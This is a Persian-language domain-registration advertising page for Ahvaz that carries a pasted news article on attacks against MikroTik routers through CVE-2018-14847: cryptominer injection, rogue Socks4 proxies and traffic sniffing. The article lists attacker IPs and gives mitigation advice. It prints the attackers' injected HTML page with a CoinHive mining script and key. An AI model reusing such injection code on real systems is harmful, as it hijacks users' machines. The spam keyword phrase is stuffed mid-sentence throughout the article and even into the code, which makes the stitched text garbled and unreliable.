ثبت دامین بین المللی بدون هاست اهواز

خانه » دومین » ثبت دامین بین المللی بدون هاست اهواز

ثبت دامین بین المللی بدون هاست اهواز

جهت مشاوره برای ثبت یا تمدید دامنه و یا مشاوره حقوقی برای مالکیت و انتقال دامنه در اهواز تماس بگیرید: 09394678464 تلگرام گلهای اندیشه



پسوند دامنه توضیحات قیمت سالانه (تومان) عملیات
.ir دامنه ir. دامنه رسمی کشور ایران میباشد. هر شخص حقیقی ایرانی و غیر ایرانی میتواند دامنه آی آر ثبت نماید. 9,000 ثبت آنلاین
.com دامنه عمومي com. رایجترین پسوند برای استفاده کلیه کسب و کارها میباشد 150,000 ثبت آنلاین
.net دامنه net. جهت کسب و کارهای در حوزه شبکه مورد استفاده قرار میگیرد 165,000 ثبت آنلاین
.org دامنه org. جهت ngo ها و موسسات مورد استفاده قرار میگیرد. 165,000 ثبت آنلاین
به غیر از موارد فوق، بیش از 700 پسوند مختلف جهت ثبت اسامی قابل استفاده میباشند. جهت مشاوره و استعلام قیمت تماس بگیرید.
phone number: +989394678464
منشور رفتاری: موسسه گلهای اندیشه از سال 2002 تاکنون خدمات ثبت دامنه انجام میدهد و در این مدت مشتریان این مجموعه همواره مالکیت تام الاختیار دامنه شان را در اختیار داشته اند.

کد مطلب: 05397.html
متخصصان امنیت به‌تازگی دریافته‌اند که بسیاری از اطلاعات روترهای میکروتیک شنود می‌شوند. IPهای ایرانی نیز در میان لیست شنودشدگان قرار دارند. با ما همراه باشید تا از جزئیات بیشتر و روش‌های مقابله با این شنودها آگاه شوید.
پنجشنبه, ۲۲ شهریور ۹۷ ساعت ۱۱:۰۵

روترهای میکروتیک اطلاعات کاربران را به مهاجمان ارسال می‌کنند

متخصصان امنیت به‌تازگی دریافته‌اند که بسیاری از اطلاعات روترهای میکروتیک شنود می‌شوند. IPهای ایرانی نیز در میان لیست شنودشدگان قرار دارند. با ما همراه باشید تا از جزئیات بیشتر و روش‌های مقابله با این شنودها آگاه شوید.

بررسی کلی

شرکت لتونیایی میکروتیک - ثبت دامین بین المللی بدون هاست اهواز - (MikroTik)، در سال ۱۹۹۶ - ثبت دامین بین المللی بدون هاست اهواز - برای توسعه روترها و سیستم‌های بی‌سیم ISP تأسیس شد. میکروتیک هم‌اکنون در سرتاسر جهان، سخت‌افزار و نرم‌افزار اتصال به اینترنت عرضه می‌کند. در سال ۱۹۹۷، میکروتیک سیستم نرم‌افزاری RouterOS را خلق کرد. در سال ۲۰۰۲، میکروتیک تصمیم گرفت - ثبت دامین بین المللی بدون هاست اهواز - سخت‌افزار اختصاصی خود را بسازد و برند RouterBOARD را ایجاد کرد. هر دستگاه RouterBOARD، از سیستم نرم‌افزاری RouterOS بهره می‌برد.

بنابر اسناد Vault7 - ثبت دامین بین المللی بدون هاست اهواز - که WikiLeaks منتشر کرده است، ابزار هک CIA، شیمِی قرمز (Chimay Red)، از - ثبت دامین بین المللی بدون هاست اهواز - دو حفره امنیتی در (Winbox (CVE-2018-14847 و Webfig استفاده می‌کند.

Winbox و Webfig هردو از اجزای مدیریتی RouterOS اند. - ثبت دامین بین المللی بدون هاست اهواز - Winbox یک - ثبت دامین بین المللی بدون هاست اهواز - نرم‌افزار مبتنی بر ویندوز و دارای رابط گرافیکی (GUI) است؛ در حالی که Webfig مبتنی بر وب عمل می‎‌کند. - ثبت دامین بین المللی بدون هاست اهواز - پورت‌‌های مشترک این دو نرم‌افزار TCP/8291، TCP/80 و TCP/8080 هستند.

سیستم‌های هانی‌پات، طعمه‌هایی برای شناسایی و - ثبت دامین بین المللی بدون هاست اهواز - انحراف حملات سایبری و خنثی‌سازی دسترسی‌های غیرمجاز هستند. از اواسط جولای (تیر)، سیستم هانی‌پات انگلرفیش (Anglerfish Honeypot System)، بدافزاری را که از نفوذپذیری CVE-2018-14847 استفاده می‌کرد تا فعالیت‌های مخرب گسترده‌ای را اجرا کند، شناسایی کرد. محققین امنیت برخی دیگر از این قبیل فعالیت‌ها مثل تزریق کد استخراج ارز دیجیتال به روش کوین‌هایو - ثبت دامین بین المللی بدون هاست اهواز - (CoinHive) را ردیابی کرده‌ بودند.

مهاجمان بیش از ۷۵۰۰ روتر میکروتیک را شنود می‌کنند

همچنین تعداد زیادی از افراد مشاهده شده‌اند که پروکسی ساکس۴ (Socks4) بر روی دستگاهشان توسط عاملی مشکوک فعال شده‌ است.

جالب‌تر آنکه ترافیک بیش از ۷۵۰۰ نفر به آی‌پی‌هایی که توسط مهاجمان ناشناس کنترل می‌شوند، ارسال می‌شود و - ثبت دامین بین المللی بدون هاست اهواز - بدین ترتیب این افراد شنود می‌شوند.

دستگاه‌های آسیب‌پذیر

از بین ۵ - ثبت دامین بین المللی بدون هاست اهواز - میلیون دستگاه ثبت‌شده با پورت TCP/8291 باز، ۱۲۰۰۰۰۰ (یک میلیون و دویست هزار) دستگاه متعلق به میکروتیک هستند که از این بین، ۳۷۰۰۰۰ (سیصد و هفتاد هزار) دستگاه (۳۰.۸۳%) به CVE-2018-14847، آسیب‌پذیرند.

ثبت دامین بین المللی بدون هاست اهواز

نقشه گسترش آسیب‌پذیری RouterOS

کشورتعداد دستگاه‌ها
برزیل۴۲۳۷۶
روسیه۴۰۷۴۲
اندونزی۲۲۴۴۱
هند۲۱۸۳۷
ایران۱۹۳۳۱
ایتالیا۱۶۵۴۳
لهستان۱۴۳۵۷
ایالات متحده۱۴۰۰۷
تایلند۱۲۸۹۸
اوکراین۱۲۷۲۰
چین۱۱۱۲۴
اسپانیا۱۰۸۴۲
آفریقای جنوبی۸۷۵۸
جمهوری چک۸۶۲۱
آرژانتین۶۸۶۹
کلمبیا۶۴۷۴
کامبوج۶۱۳۴
بنگلادش۵۵۱۲
اکوادور۴۸۵۷
مجارستان۴۱۶۲

بیشترین دستگاه‌های آسیب‌پذیر به تفکیک کشور

حملات

تزریق کد استخراج ارز دیجیتال به روش CoinHive

بعد از فعال‌سازی پروکسی HTTP در RouterOS، مهاجم از حقه‌ای - ثبت دامین بین المللی بدون هاست اهواز - استفاده - ثبت دامین بین المللی بدون هاست اهواز - کرده و تمامی درخواست‌های پروکسی HTTP را به یک صفحه‌ی لوکال ارور ۴۰۳ هدایت می‌کند. در این صفحه‌ی ارور، لینکی از coinhive.com برای استخراج (mining) ارز - ثبت دامین بین المللی بدون هاست اهواز - دیجیتال درج شده است. با این کار مهاجم امیدوار است تا بر روی تمامی ترافیک پروکسی دستگاه کاربر، استخراج انجام دهد.

ثبت دامین بین المللی بدون هاست اهواز

نکته قابل توجه این است که کد ماینینگ به این - ثبت دامین بین المللی بدون هاست اهواز - صورت عمل نمی‌کند. تمامی منابع خارجی وب، از جمله منابع coinhive.com که برای استخراج ارز دیجیتال مورد نیاز است، توسط (ACL - ثبت دامین بین المللی بدون هاست اهواز - (Access Control Listهای پروکسی که توسط خود مهاجمان تعبیه شده‌، مسدود می‌شود.

# curl -i --proxy http://192.168.40.147:8080 http://netlab.360.com
HTTP/1.0 403 Forbidden  
Content-Length: 418  
Content-Type: text/html  
Date: Sat, 26 Aug 2017 03:53:43 GMT  
Expires: Sat, 26 Aug 2017 03:53:43 GMT  
Server: Mikrotik HttpProxy  
Proxy-Connection: close

<html>  
<head>  
   <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
   <title>"http://netlab.360.com/"</title>
<script src="https://coinhive.com/lib/coinhive.min.js"></script>  
<script>  
   var - ثبت دامین بین المللی بدون هاست اهواز - miner = new CoinHive.Anonymous('hsFAjjijTyibpVjCmfJzlfWH3hFqWVT3', - ثبت دامین بین المللی بدون هاست اهواز - {throttle: - ثبت دامین بین المللی بدون هاست اهواز - 0.2});
   miner.start();
</script>  
</head>  
<frameset>  
<frame src="http://netlab.360.com/"></frame>  
</frameset>  
</html>  

پروکسی ساکس - ثبت دامین بین المللی بدون هاست اهواز - ۴ و 95.154.216.128/25 اسرارآمیز

در حال حاضر، پروکسی ساکس ۴ بر روی ۲۳۹ هزار دستگاه به‌طور مشکوکی - ثبت دامین بین المللی بدون هاست اهواز - فعال است. ساکس ۴ معمولاً از پورت TCP/4153 استفاده می‌کند. تنظیمات پروکسی ساکس ۴ - ثبت دامین بین المللی بدون هاست اهواز - فقط اجازه اتصال از آی‌پی‌های 95.154.216.128/25 - ثبت دامین بین المللی بدون هاست اهواز - را می‌دهد. مهاجمان برای به‌دست‌آوردن مجدد کنترل بعد - ثبت دامین بین المللی بدون هاست اهواز - از ریبوت دستگاه (تغییر آی‌پی)، دستگاه را طوری تنظیم می‌کنند تا به‌طور زمان‌بندی‌شده آخرین آی‌پی را با اتصال به آدرس (URL) مخصوص مهاجم گزارش کند.

همچنین مهاجم با استفاده از این پروکسی ساکس۴ آسیب‌پذیر، به‌دنبال دستگاه‌های RouterOS بیشتری می‌گردد.

هم‌اکنون، تمامی ۲۳۹ هزار دستگاه فقط اجازه دسترسی از 95.154.216.128/25 (غالباً 95.154.216.167) را می‌دهند. پی بردن به قصد مهاجمان از این تعداد پروکسی‌ ساکس ۴ دشوار است.

ثبت دامین بین المللی بدون هاست اهواز

شنود

دستگاه‌های - ثبت دامین بین المللی بدون هاست اهواز - RouterOS به کاربران اجازه می‌دهد تا بسته‌‌های (Packet) روتر را گرفته و این ترافیک را به یک سرور خاص ارسال کنند. مهاجمان، ترافیک ۷.۵ هزار دستگاه RouterOS را به یک سری IPهای جمع‌کننده ارسال می‌کنند. در بین این آی‌پی‌ها، 37.1.207.114 نقش پررنگ‌تری - ثبت دامین بین المللی بدون هاست اهواز - داشته و ترافیک قابل توجهی - ثبت دامین بین المللی بدون هاست اهواز - از دستگاه‌ها به این مقصد ارسال می‌شود.

ثبت دامین بین المللی بدون هاست اهواز

مهاجمان بیشتر به پورت‌های ۲۰، ۲۱، ۲۵، ۱۱۰ و ۱۴۳ علاقه دارند. این پورت ها به FTP، SMTP، POP3 و IMAP مربوط اند. همچنین پورت‌های ۱۶۱ و ۱۶۲، که مربوط به SNMP هستند، - ثبت دامین بین المللی بدون هاست اهواز - جزو پورت‌های محبوب مهاجمان محسوب می‌شوند. سوالی که پیش می‌آید این است که چرا مهاجمان - ثبت دامین بین المللی بدون هاست اهواز - پروتکل SNMP را، که به ندرت توسط کاربران استفاده می‌شود، مورد هدف قرار داده‌اند؟ آیا آن‌ها قصد شنود اطلاعات از کاربران خاصی ‌را دارند؟ - ثبت دامین بین المللی بدون هاست اهواز - هنوز پاسخ این سوال معلوم نیست.

آی‌پی جمع‌کنندهتعداد دستگاه‌ها
37.1.207.114۴۲۳۷۶
185.69.155.23۴۰۷۴۲
188.127.251.61۲۲۴۴۱
5.9.183.69۲۱۸۳۷
77.222.54.45۱۹۳۳۱
103.193.137.211۱۶۵۴۳
24.255.37.1۱۴۳۵۷
45.76.88.43۱۴۰۰۷
206.255.37.1۱۲۸۹۸

برترین مهاجمان

پورتتعداد دستگاه‌ها
۲۱۵۸۳۷
۱۴۳۵۸۳۲
۱۱۰۵۷۸۴
۲۰۴۱۶۵
۲۵۲۸۵۰
۲۳۱۳۲۸
۱۵۰۰۱۱۱۸
۸۰۸۳۱۰۹۵
۳۳۳۳۹۹۳
۵۰۰۰۱۹۸۴
۸۵۴۵۹۸۲
۱۶۱۶۷۷
۱۶۲۶۷۳
۳۳۰۶۳۵۵
۸۰۲۸۲
۸۰۸۰۲۴۳
۸۰۸۱۲۳۷
۸۰۸۲۲۳۰
۵۳۱۶۸
۲۰۴۸۱۶۷

پورت‌های شنود شده

کشورتعداد IPها
روسیه۱۶۲۸
ایران۶۳۷
برزیل۶۱۵
هند۵۹۴
اوکراین۵۴۴
بنگلادش۳۷۵
اندونزی۳۶۴
اکوادور۲۱۸
ایالات متحده۱۹۱
آرژانتین۱۸۹
کلمبیا۱۲۲
لهستان۱۱۳
کنیا۱۰۶
عراق۱۰۰
اتریش۹۲
اقیانوسیه۹۲
بلغارستان۸۵
اسپانیا۸۴
ایتالیا۶۹
آفریقای جنوبی۶۳
جمهوری چک۶۲
صربستان۵۹
آلمان۵۶
آلبانی۵۲
نیجریه۵۰
چین۴۷
هلند۳۹
ترکیه۳۸
کامبوج۳۷
پاکستان۳۲
انگلستان۳۰
اتحادیه اروپا۲۹
آمریکای لاتین۲۶
شیلی۲۵
مکزیک۲۴
مجارستان۲۲
نیکاراگوئه۲۰
رومانی۱۹
تایلند۱۸
پاراگوئه۱۶

تعداد - ثبت دامین بین المللی بدون هاست اهواز - قربانیان به تفکیک کشور

پیش‌گیری و مقابله

پیشنهاد می‌شود که کاربران RouterOS سیستم نرم‌افزاری خود را به‌طور منظم به‌روزرسانی کنند. همچنین بررسی کنند که پروکسی HTTP، پروکسی ساکس ۴ و ترافیک شبکه، مورد سوءاستفاده قرار نمی‌گیرد.

از میکروتیک انتظار می‌رود تا عدم اجازه دسترسی ورودی از اینترنت به Webfig و Winbox و بهبود - ثبت دامین بین المللی بدون هاست اهواز - سازوکار - ثبت دامین بین المللی بدون هاست اهواز - به‌روزرسانی‌های امنیتی را در دستور کار - ثبت دامین بین المللی بدون هاست اهواز - خود قرار دهد.

اطلاعات مهاجمان

نامIP
AS50673 Serverius Holding B.V.37.1.207.114
AS200000 Hosting Ukraine LTD185.69.155.23
AS56694 Telecommunication Systems, LLC188.127.251.61
AS24940 Hetzner Online GmbH5.9.183.69
AS44112 SpaceWeb Ltd77.222.54.45
AS22773 Cox Communications Inc.24.255.37.1
AS20473 Choopa, LLC45.76.88.43
AS53508 Cablelynx206.255.37.1
AS20860 iomart Cloud - ثبت دامین بین المللی بدون هاست اهواز - Services Limited.95.154.216.167

لیست مهاجمان

با توجه به حضور قابل توجه IPهای ایرانی در میان دستگاه‌های آسیب‌پذیر و شنودشده پیشنهاد می‌کنیم اگر از دستگاه‌های میکروتیک مجهز به RouterOS استفاده می‌کنید، هرچه سریع‌تر موارد اشاره‌شده در بخش - ثبت دامین بین المللی بدون هاست اهواز - پیش‌گیری و مقابله را بررسی کنید.

نظر شما در این رابطه چیست؟ آیا شما از دستگاه‌های - ثبت دامین بین المللی بدون هاست اهواز - میکروتیک استفاده می‌کنید؟ به نظر شما چه کسانی و با چه اهدافی در پشت این حملات هستند؟ دیدگاه‌های خود را با ما در میان بگذارید. - ثبت دامین بین المللی بدون هاست اهواز -


اولين صفحه   -  ثبت دومین چین بدون هاست اهواز   -   تمدید دومین چین بدون هاست اهواز   -   قیمت دومین چین بدون هاست اهواز   -   خرید دومین چین بدون هاست اهواز   -   دامین چین بدون هاست اهواز   -   ثبت دامین چین بدون هاست اهواز   -   تمدید دامین چین بدون هاست اهواز   -   قیمت دامین چین بدون هاست اهواز   -   خرید دامین چین بدون هاست اهواز   -   دامنه بین المللی بدون هاست اهواز   -   ثبت دامنه بین المللی بدون هاست اهواز   -   تمدید دامنه بین المللی بدون هاست اهواز   -   قیمت دامنه بین المللی بدون هاست اهواز   -   خرید دامنه بین المللی بدون هاست اهواز   -   دومین بین المللی بدون هاست اهواز   -   ثبت دومین بین المللی بدون هاست اهواز   -   تمدید دومین بین المللی بدون هاست اهواز   -   قیمت دومین بین المللی بدون هاست اهواز   -   خرید دومین بین المللی بدون هاست اهواز   -   دامین بین المللی بدون هاست اهواز   -   ثبت دامین بین المللی بدون هاست اهواز   -   تمدید دامین بین المللی بدون هاست اهواز   -   قیمت دامین بین المللی بدون هاست اهواز   -   خرید دامین بین المللی بدون هاست اهواز   -   دامنه قم   -   ثبت دامنه قم   -   تمدید دامنه قم   -   انتقال دامنه قم   -   نحوه انتقال دامنه قم   -   مالکیت دامنه قم   -   انتقال مالکیت دامنه قم   -   قیمت دامنه قم   -   خرید دامنه قم   -   قوانین دامنه قم   -   دومین قم   -   ثبت دومین قم   -   تمدید دومین قم   -   انتقال دومین قم   -   نحوه انتقال دومین قم   -   مالکیت دومین قم   -   انتقال مالکیت دومین قم   -  آخرين صفحه